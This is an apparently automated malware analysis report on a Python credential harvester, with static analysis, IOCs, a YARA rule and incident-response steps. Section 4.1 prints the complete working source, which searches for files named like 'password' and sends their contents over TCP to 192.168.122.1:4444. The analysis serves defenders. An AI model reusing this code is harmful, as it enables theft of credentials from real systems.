

1. Executive Summary

The analyzed sample is a Python-based credential harvester and data exfiltration tool. It recursively scans the local filesystem for files containing 'password' in their filename, reads their contents, and transmits them over a raw TCP socket to a hardcoded C2 server at 192.168.122.1:4444. This is a clear data theft payload designed for post-exploitation credential harvesting.

Verdict: MALICIOUS

2. Sample Information

```

Filename      : suspicious_file
Full Path     : /srv/socaas/Ai-sandbox/samples/suspicious_file
File Type     : Python script, ASCII text executable
Size          : 1,215 bytes (1.2 KB)
SHA256        : 4a61c21383124a88497da4bb8d1ec8151efcf690c56b96a69e6b3819fb292289
Architecture  : N/A (interpreted Python 3 script)
PE Type       : N/A (not a Windows PE executable)
Compilation   : N/A (source-level script, not compiled)
  
```

3. Static Analysis

3.1 File Identification

file(1) identifies the sample as 'Python script, ASCII text executable'. The file begins with the shebang '#!/usr/bin/env python3', confirming it is a Python 3 script meant for direct execution on Linux/Unix systems.

3.2 Strings Analysis Summary

The entire source code is recoverable via strings, as it is an uncompiled script. No obfuscation, encoding, or packing was detected. Byte frequency analysis shows normal ASCII text distribution with space (0x20) being the most frequent character, consistent with a plain text Python script.

3.3 Suspicious Commands & API Calls

- socket.socket(AF_INET, SOCK_STREAM) -> Network socket creation
- s.connect((TARGET_IP, TARGET_PORT)) -> Outbound C2 connection
- s.sendall(payload.encode(...)) -> Data exfiltration
- os.walk(".") -> Recursive filesystem traversal
- open(filepath, "r") -> File read operations

3.4 PE Headers & Disassembly

Not applicable. The sample is a Python script, not a PE/ELF binary. objdump produced no output.

3.5 Byte Frequency (Entropy Check)

Top byte frequencies show 0x20 (space) at 358 occurrences, followed by 'e' (0x65), 't' (0x74), 'o' (0x6f) and 'n' (0x6e). This is a normal ASCII text distribution with no evidence of encryption or packing.

4. Reversed Code & Logic Analysis

4.1 Complete Reversed Source Code

```
#!/usr/bin/env python3
import os
import socket

TARGET_IP = "192.168.122.1"
TARGET_PORT = 4444

def collect_password_files():
    """Recursively walk cwd, find files with "password" in name."""
    matches = []
    for root, dirs, files in os.walk("."):
        for filename in files:
            if "password" not in filename.lower():
                continue
            filepath = os.path.join(root, filename)
            try:
                with open(filepath, "r", encoding="utf-8",
                          errors="ignore") as f:
                    content = f.read()
            except Exception:
                continue
            matches.append((filepath, content))
    return matches

def exfiltrate(matches):
    """Send collected data to C2 via raw TCP socket."""
    if not matches:
        return
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET_IP, TARGET_PORT))
        for filepath, content in matches:
            try:
                payload = f"FILE:{filepath}\n{content}\n\n"
                s.sendall(payload.encode("utf-8", errors="ignore"))
            except Exception:
                continue
        s.close()
    except Exception:
        pass

def main():
    """Entry point: harvest credentials, then exfiltrate."""
    matches = collect_password_files()
    exfiltrate(matches)

if __name__ == "__main__":
    main()
```

4.2 Logic Flow

```

Entry: main()
|
+--> collect_password_files()
|   |
|   +--> os.walk('.') -- recursively traverse current directory
|   +--> for each file, check if 'password' in filename (case-insensitive)
|   +--> if match: open file, read content, store (filepath, content) tuple
| +--> return [(filepath, content), ...]
|
+--> exfiltrate(matches)
|   |
|   +--> if no matches: return silently
|   +--> socket.socket(AF_INET, SOCK_STREAM) -- create TCP socket
|   +--> socket.settimeout(5) -- 5 second timeout
|   +--> socket.connect((192.168.122.1, 4444)) -- connect to C2
|   +--> for each (filepath, content):
|       | sendall('FILE:<path>\n<content>\n\n') -- exfiltrate
|   +--> socket.close() -- clean up

```

4.3 Key Capabilities

1. CREDENTIAL HARVESTING - Locates files with 'password' in the filename
2. RECURSIVE TRAVERSAL - Uses os.walk() to scan entire directory tree
3. DATA EXFILTRATION - Transmits file contents over TCP to C2
4. SILENT FAILURE - All exceptions are silently caught (pass/continue)
5. NO OP-SEC CONCERNS - No encryption, no encoding, no persistence mechanism

4.4 Attack Flow Diagram

[Victim Host]	[C2 Server]
os.walk('.') -- scan filesystem	
Find 'password' files	
Read file contents	
-- TCP Connect (192.168.122.1:4444) -->	
-- FILE:./config/passwords.txt----->	
-- FILE:./secrets/password.txt----->	
-- ...	
-- TCP Close----->	

5. Indicators of Compromise (IOCs)

SHA256 Hash:

4a61c21383124a88497da4bb8d1ec8151efcf690c56b96a69e6b3819fb292289

IPv4 Addresses:

192.168.122.1

TCP Ports:

4444/TCP

Domain Names:

(none found)

File Paths (patterns searched):

./**/*password* (recursive, case-insensitive filename search)

Registry Keys:

N/A (Linux-targeting script)

Network Signatures:

Outbound TCP connection to 192.168.122.1:4444

Payload format: "FILE:<path>\n<content>\n\n"

YARA Rule Candidates:

```
rule M_CRED_HARVESTER_SOCAAS {
  strings:
    $s1 = "collect_password_files"
    $s2 = "TARGET_IP = "192.168.122.1""
    $s3 = "TARGET_PORT = 4444"
    $s4 = "exfiltrate"
    $s5 = "FILE:{filepath}"
  condition:
    all of them
}
```

7. Recommended Analyst Actions

1. BLOCK IOCS IMMEDIATELY
 - Block outbound connections to 192.168.122.1:4444 at the firewall
 - Add SHA256 hash to endpoint detection blocklists
2. INVESTIGATE C2 INFRASTRUCTURE
 - IP 192.168.122.1 is a private/RFC 1918 address -- this suggests the payload targets internal networks (lateral movement from compromised internal host to another internal C2 server)
 - Investigate what is running on 192.168.122.1:4444
3. SCOPE THE INCIDENT
 - Search for execution of this script across the environment
 - Look for any file named 'suspicious_file' or containing the SHA256 hash
 - Check for running Python processes making connections to port 4444
4. HUNT FOR DATA LOSS
 - Review what password files may have been exfiltrated
 - Rotate any credentials that may have been in files matching *password*
5. FORENSIC PRESERVATION
 - Preserve the sample at its original path
 - Capture full filesystem timeline and network logs from the affected host
 - Document chain of custody for the sample
6. LONG-TERM HARDENING
 - Enforce policy against storing plaintext credentials in files
 - Monitor for outbound connections on non-standard ports
 - Deploy application allow-listing to prevent unauthorized Python scripts

8. Analysis Artifacts

The following raw analysis artifacts are available in the report directory:

all_strings.txt	- Full strings output from the sample
hex_dump.txt	- First 200 lines of hex dump
hashes.json	- SHA256 hash of the sample
file_type.txt	- file(1) output
file_info.txt	- File size and permissions
byte_frequency.txt	- Byte frequency distribution
strings_urls.txt	- Filtered URL strings (none found)
strings_commands.txt	- Filtered command strings
strings_pe.txt	- Filtered PE-related strings
pe_headers.txt	- PE header analysis (N/A)
disassembly.txt	- Disassembly (N/A)

This report was generated automatically by the SOCaaS AI Sandbox. Findings are based on static analysis only; the sample was never executed. All analysis was performed in an isolated, ephemeral sandbox VM that was destroyed after analysis.